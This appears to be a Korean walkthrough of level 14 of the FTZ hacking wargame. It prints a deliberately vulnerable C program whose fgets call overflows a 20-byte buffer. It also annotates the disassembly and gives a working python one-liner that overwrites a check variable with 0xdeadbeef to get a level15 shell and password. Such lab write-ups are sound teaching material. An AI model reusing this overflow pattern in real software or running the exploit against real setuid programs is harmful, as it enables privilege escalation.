[level14@ftz level14]$ cat hint
레벨14 이후로는 mainsource의 문제를 그대로 가져왔습니다.
버퍼 오버플로우, 포맷스트링을 학습하는데는 이 문제들이
최고의 효과를 가져다줍니다.
#include <stdio.h>
#include <unistd.h>
main()
{ int crap;
int check;
char buf[20];
fgets(buf,45,stdin);
if (check==0xdeadbeef)
{
setreuid(3095,3095);
system("/bin/sh");
}
}
cat 명령어로 hint를 출력해보면 C 코드가 출력됩니다.
코드를 해석해보면
main()
{ int crap;
int check;
char buf[20];
fgets(buf,45,stdin); // buf에 45크기 만큼 입력을 받음
if (check==0xdeadbeef) // check가 00xdeadbeef이면
{
setreuid(3095,3095); // ruid와 euid를 3095로 설정
system("/bin/sh"); // /bin/sh 프로그램 실행
}
}
메모리 구조를 분석해보면
0x08048496 <main+6>: sub esp,0x4
0x08048499 <main+9>: push ds:0x8049664 // stdin
0x0804849f <main+15>: push 0x2d // 45
0x080484a1 <main+17>: lea eax,[ebp-56]
0x080484a4 <main+20>: push eax // buf
0x080484a5 <main+21>: call 0x8048360 <fgets> // fgets(buf, 45, stdin)
0x080484aa <main+26>: add esp,0x10
0x080484ad <main+29>: cmp DWORD PTR [ebp-16],0xdeadbeef // compare buf, 0xdeadbeef
0x080484b4 <main+36>: jne 0x80484db <main+75> // 다르면 main+75로 jump
0x080484b6 <main+38>: sub esp,0x8
0x080484b9 <main+41>: push 0xc17 // 3095
0x080484be <main+46>: push 0xc17 // 3095
0x080484c3 <main+51>: call 0x8048380 <setreuid> // setreuid(3095, 3095)
0x080484c8 <main+56>: add esp,0x10
0x080484cb <main+59>: sub esp,0xc
0x080484ce <main+62>: push 0x8048548 // "/bin/sh"
0x080484d3 <main+67>: call 0x8048340 <system> // system("/bin/sh")
0x080484d8 <main+72>: add esp,0x10
메모리 구조를 그려보면

NOP[40] + "\xef\xbe\xad\xde" 구조로 입력을 주면 쉘이 뜰거 같습니다.
익스플로잇 코드를 짜보면
NOP[40] + "\xef\xbe\xad\xde"
(python -c 'print "\x90"*40+"\xef\xbe\xad\xde"'; cat) | ./attackme
익스플로잇 코드를 실행시켜보면
[level14@ftz level14]$ (python -c 'print "\x90"*40+"\xef\xbe\xad\xde"'; cat) | ./attackme
id
uid=3095(level15) gid=3094(level14) groups=3094(level14)
쉘이 떴습니다.
패스워드를 출력해보면
my-pass
Level15 Password is "guess what".